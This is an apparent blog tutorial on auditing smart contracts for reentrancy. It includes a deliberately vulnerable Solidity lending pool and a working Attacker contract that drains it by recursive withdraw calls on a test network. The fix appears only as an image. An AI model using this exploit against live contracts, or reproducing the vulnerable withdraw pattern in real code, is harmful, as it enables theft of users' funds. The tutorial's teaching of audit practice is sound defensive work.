A hacker stole $31 million from the blockchain company MonoX Finance, by <a href="https://arstechnica.com/information-technology/2021/12/hackers-drain-31-million-from-cryptocurrency-service-monox-finance/">exploiting a bug</a> in software the service uses to draft smart contracts.Audius has fallen victim to a governance attack, losing $6M of its native token, AUDIO.Nirvana Finance lost $3.5M recently to a flash loan attack.There are hundreds of more examples of how smart contract attack takes place. Every day number of smart contracts are hacked and attacked due to some vulnerabilities in their contracts.By vulnerabilities, we mean the weaknesses in the smart contract that can let the user maliciously exploit it.There are several common vulnerabilities that can take place in smart contracts. Some of them are:<ul><li>Reentrancy is one of the common Ethereum smart contract vulnerabilities.</li></ul>Whenever you invoke an external contract function, always keep in mind that this contract might invoke your contract function in return (creating sort of an invocation loop).This can be potentially dangerous if for example, you are sending funds to an external account (that happens to be an external contract), but you did not update its balance before sending them.Each time the external contract will “re-enter” your function, it will receive the same amount of funds. By the time the execution finishes, you will have probably sent multiple times the amount you expected to send.To find such vulnerabilities in our smart contract, we perform auditing.Auditing identifies the major systemic flaws in your project and avoids costly errors.Smart contract security audits help you uncover potential vulnerabilities in your system. It gives you the required time to fix these weaknesses before a malicious entity tries to exploit them and corrupt your platform.<h1 style="margin-left:0px;">How do smart contract audits work?</h1>The process of a smart contract audit is fairly standard among audit providers. While each auditor’s approach may differ slightly, the typical process is as follows:<ul><li>Determine the scope of the audit. The smart contract and project specifications are defined by the project and the overall architecture. A specification helps the audit team understand the project’s goals when writing and using the code.</li><li>Provide an initial quote based on the amount of work needed.</li><li>Run tests. Their exact nature will change depending on the auditing team, their analysis tools, and their methods. Usually, both manual and automated tests are carried out.</li><li>Create a first draft of the report with errors found and provide it to the project team for feedback and follow-up fixes.</li><li>Publish the final report, considering any action taken by the team to address raised issues.</li></ul>Let us understand it by taking an example of LenderPool.<blockquote>You may note that the attack vector that I am about to discuss was first used on a DAO in 2016 and lost around $60 million dollars to it.</blockquote>So here we have taken an example of a simple lending pool that allows anyone to deposit ETH, and withdraw it at any point in time.The lending pool has a balance of 1,000 ETH and is offering flash loans using the deposited ETH to promote its system.Let us understand the LenderPool contract:<pre><code class="language-plaintext">// SPDX-License-Identifier: MITpragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";interface IFlashLoanEtherReceiver {
 function execute() external payable;
} // Learning: the above function must be executed by the smart contract that calls the flashLoan function belowcontract LenderPool {
 using Address for address payable;
 mapping (address =&gt; uint256) private balances; function deposit() external payable {
 balances[msg.sender] += msg.value;
 } function withdraw() external {
 uint256 amountToWithdraw = balances[msg.sender];
 payable(msg.sender).sendValue(amountToWithdraw);
 balances[msg.sender] = 0;
 }
}</code></pre>We have defined 3 functions in our contract:<ul><li>deposit(): Deposit is a payable function, which will allow anyone to deposit ETH to the smart contract which will be stored in the balances variable</li><li>withdraw(): This function will allow claiming the deposit, where it checks the balance of the user and makes it balance to 0. And then it will transfer the fund to the user.</li></ul>If you will see the withdraw function, you can see that the value of the balance is assigned to 0 at the end of the function.<blockquote>This can lead to re-entrancy attack.</blockquote>The attacker can call the withdraw() function on the victim contract which then sends funds to the attacker, but then the attacker gets full control of code execution via its fallback or receive function and it can call recursively the victim’s withdrawal function over and over again before the victim has a chance to update its account balances.Let us try to write the attack contract.Create a file named attack.sol inside the contracts folder and paste the following code there;<pre><code class="language-plaintext">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;interface IPool {
 function deposit() external payable;
 function withdraw() external;
}contract Attacker {
 IPool public immutable etherBank;
 address private owner; constructor(address etherBankAddress) {
 etherBank = IPool(etherBankAddress);
 owner = msg.sender;
 } function attack() external payable onlyOwner {
 etherBank.deposit{value: msg.value}();
 etherBank.withdraw();
 } receive() external payable {
 if (address(etherBank).balance &gt; 0) {
 etherBank.withdraw();
 } else {
 payable(owner).transfer(address(this).balance);
 }
 } // check the total balance of the Attacker contract
 function getBalance() external view returns (uint) {
 return address(this).balance;
 } modifier onlyOwner() {
 require(owner == msg.sender, "Only the owner can attack.");
 _;
 } 
}</code></pre><ul><li>in the constructor, we’re going to pass the address of the contract that we’re going to attack</li><li>in the attack() function, first, the attacker is making a deposit into the bank, reason for this is that the withdraw function, in the LenderPool contract, checks that there is some sort of balance associated with the address that’s withdrawn.</li><li>then the attack() immediately calls the withdraw() function (in the LenderPool Contract) that transfers the funds from the contract back to the attacker</li><li>in the receive() function (of the Attacker), it will make sure until the contract has any amount of funds, it will recursively keep on withdrawing funds from the contract.</li></ul>So now if you’ll deploy this contract using BuildBear and check the contract here, you’ll have the attack function under write contract.<figure class="image image_resized" style="width:679.985px;"><img src="https://miro.medium.com/v2/resize:fit:588/1*OKKaDmcAu4E4orY7QfSI5A.png" alt="" loading="lazy"></figure>Now, if you’ll try to run this function by passing an amount of ether, you’ll notice that our attack has been successfully completed.<figure class="image image_resized" style="width:679.985px;"><img src="https://miro.medium.com/v2/resize:fit:588/1*EVnrzOvxGgzHix0ed_ZHuw.png" alt="" loading="lazy"></figure>If you’ll see the transaction hash and check the trace of it by using the advanced tab. (<a href="https://explorer.buildbear.io/node/affectionate-fermat-d1d223/tx/0x70de112143332c5e1f6a9d605b4b4e6258042e569055e405ace133e69823bf1a">https://explorer.buildbear.io/node/affectionate-fermat-d1d223/tx/0x70de112143332c5e1f6a9d605b4b4e6258042e569055e405ace133e69823bf1a</a>)<figure class="image image_resized" style="width:639.993px;"><img src="https://miro.medium.com/v2/resize:fit:538/1*2bqVUhhIMBsvVBZSMEduLQ.gif" alt="" loading="lazy"></figure>You will be able to see the attacker called the withdraw function 10 times to withdraw all the funds in the contract. (We had 100 ETH in our LenderPool contract earlier).And once all the fund are withdrawn from the contract, it is then transferred to the attacker’s address.In order to prevent ourselves from such an attack, all we need to do is swap the lines of our code in the withdraw function, as shown in the code below:<figure class="image image_resized" style="width:679.985px;"><img src="https://miro.medium.com/v2/resize:fit:588/1*okMu6CVk8xIFNpZdG0TvxQ.png" alt="" loading="lazy"></figure>This will protect your contract from various malicious attacks.In this series of learning how to audit smart contracts, the next article would be around reentrancy guard for ERC20 tokens.⚠️⚠️⚠️ If you would love to co-author this article with us, we would love to hear more. ⚠️⚠️⚠️To learn more about BuildBear, read here <a href="https://docs.buildbear.io/docs/intro">docs</a> 📄📄📄Get the above Github code from <a href="https://github.com/BuildBearLabs/Tutorials/tree/main/auditing-with-buildbear">here</a>If you appreciate what we are doing, please follow us on <a href="https://twitter.com/_BuildBear">Twitter</a>, <a href="https://www.linkedin.com/company/build-bear">LinkedIn</a> and <a href="https://t.me/+6mjOnBFUR9xjN2U1">Join our Telegram</a> group if you haven’t done yet.And please give us a clap 👏 if you like our work.Author: Pari Tomar (<a href="https://twitter.com/tomarpari90">Twitter</a> || <a href="https://www.linkedin.com/in/pari-tomar-8b1370187/">LinkedIn</a>), always open to feedback and learning.BTW, if you would know anyone who would be keen to working with BuildBear. Please have a look over <a href="https://bit.ly/buildbear-careers">here</a>!!!

Learn how to audit smart contracts: Focusing on Reentrancy Guard

Let’s get started then, Shall we?

Let’s get started then, Shall we?

Test DApps at Scale.